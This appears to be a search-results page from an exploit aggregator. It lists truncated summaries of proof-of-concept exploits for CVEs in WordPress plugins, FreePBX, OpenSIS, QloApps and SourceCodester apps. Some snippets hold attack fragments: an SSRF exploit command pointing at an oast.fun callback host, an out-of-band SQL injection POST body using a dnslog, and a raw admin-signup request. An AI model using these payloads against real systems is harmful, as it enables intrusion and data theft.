1653 matches found
Exploit for CVE-2026-17089
CVE-2026-17089 — Events Manager is in the response == RESU...
CVE-2023-30092
CVE-2023-30092 All Details about CVE-2023-30092 Software: Online Pizza Ordering System 1.0 Software Link: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html Vulnerability Type: SQL Injection Affected Component: QTY Parameter Impact Denial of Service:...
CVE-2022-1386-FusionBuilder-SSRF
CVE-2022-1386 – Fusion Builder Ejemplo: root@kitploit: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Usa Interact.sh o Burp Collaborator para recibir la devolución. 📋 Salida de ejemplo root@kitploit: Fetching nonce from target... Sending SSRF payload to...
CVE-2024-35584
CVE-2024-35584 OpenSIS Authenticated SQL Injection Description There exists a SQL injection vulnerability in Ajax.php, ForWindow.php, ForExport.php, Modules.php, functions/HackingLogFnc.php. This finding affects OpenSis Community Edition 9.1 to 8.0 and possibly versions below. Proof of Concept In...
CVE-2025-2539
CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - Lectura Arbitraria de Archivos 🔥 Resumen de la Vulnerabilidad El plugin de WordPress File Away versión = 3.9.9.0.1 es vulnerable a una vulnerabilidad de lectura arbitraria de archivos sin autenticación. Esto permite a los atacantes leer cualquier...
SQL-Injection-and-RCE_CVE-2025-57819
FreePBX RCE PoC No autenticado Resumen Las versiones 15, 16 y 17 de FreePBX contienen una vulnerabilidad de Ejecución Remota de Código RCE causada por una sanitización insuficiente de los datos proporcionados por el usuario en los endpoints. Un atacante no autenticado puede manipular la base de...
wordpress-CVE-2022-21661
wordpress-CVE-2022-21661 version5.8.3 ruta: http://your target/wp-admin/admin-ajax.php El tipo de inyección es fuera de banda, debes especificar tu propio dnslog y reemplazar ceye.io DATOS POST: "taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...
CVE-2026-6433
CVE-2026-6433 — Proof of Concept FlipperCode — Custom CSS, JS & PHP · Unauthenticated SQL injection → RCE via eval Affected: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPress plugin surface via admin-ajax.php At a glance...
CVE-2021-39409
CVE-2021-39409 Admin account registration is possible in Online Student Rate System v1.0, allowing a malicious actor to create an admin account and access the admin panel. Vulnerability root@kitploit: POST /ajax.php?action=signup HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 X11; Linux x8664;...
CVE-2025-57819_FreePBX
🛡️ CVE-2025-57819 – FreePBX Unauthenticated SQL Injection to RCE PoC This repository contains two Python Proof-of-Concept PoC scripts targeting CVE-2025-57819 , a critical unauthenticated SQL injection vulnerability in FreePBX. 🧠 About the Vulnerability CVE-2025-57819 CVE-2025-57819 affects...
pharmacy-sqli-CVE-2026-7392
Pharmacy Sales and Inventory System 1.0 - CVE-2026-7392 SQL Injection SourceCodester Pharmacy Sales and Inventory System V1.0 pure PHP/MySQL version CVE : CVE-2026-7392 Endpoint : /ajax.php?action=deletesupplier id parameter Type : SQL Injection CWE-89 CVSS 3.1 : 6.3 Medium Author : oretnom23...
CVE-2021-24762
Overview This repository documents the detection of CVE-2021-24762, a vulnerability identified on a WordPress instance through HTTP scanning. The vulnerability was discovered on the WordPress AJAX endpoint: /wp-admin/admin-ajax.php This endpoint is commonly used by WordPress plugins and themes to...
CVE-2024-50450
CVE-2024-50450 WordPress Meta Data and Taxonomies Filter MDTF = 1.3.3.4 - Ejecución arbitraria de shortcode no autenticada Descripción: El plugin MDTF – Meta Data and Taxonomies Filter para WordPress es vulnerable a la ejecución arbitraria de shortcodes en todas las versiones hasta la 1.3.3.4...
0-click-RCE-Exploit-for-CVE-2024-51793
CVE-2024-51793 / 0-Click RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 This repository contains a proof-of-concept exploit for CVE-2024-51793, an unauthenticated arbitrary file upload vulnerability in a vulnerable WordPress plugin, leading to remote...
EUVD-2026-83616
QloApps through 1.7.0 contains a path traversal vulnerability in the getEmailHTML action of admin/ajax.php that allows authenticated back-office users to read arbitrary files. Attackers can supply relative path sequences in the email parameter to bypass directory restrictions and access sensitive...
CVE-2026-93988
QloApps through 1.7.0 contains a path traversal vulnerability in the getEmailHTML action of admin/ajax.php that allows authenticated back-office users to read arbitrary files. Attackers can supply relative path sequences in the email parameter to bypass directory restrictions and access sensitive...
CVE-2026-93988 QloApps through 1.7.0 Arbitrary File Read via getEmailHTML
QloApps through 1.7.0 contains a path traversal vulnerability in the getEmailHTML action of admin/ajax.php that allows authenticated back-office users to read arbitrary files. Attackers can supply relative path sequences in the email parameter to bypass directory restrictions and access sensitive...
CVE-2026-93988
QloApps versions through 1.7.0 contain a path traversal vulnerability in the getEmailHTML action of admin/ajax.php. An authenticated back-office user can supply relative path sequences in the email parameter to bypass directory restrictions and read arbitrary files , including database credential...
CVE-2026-93988 QloApps through 1.7.0 Arbitrary File Read via getEmailHTML
QloApps through 1.7.0 contains a path traversal vulnerability in the getEmailHTML action of admin/ajax.php that allows authenticated back-office users to read arbitrary files. Attackers can supply relative path sequences in the email parameter to bypass directory restrictions and access sensitive...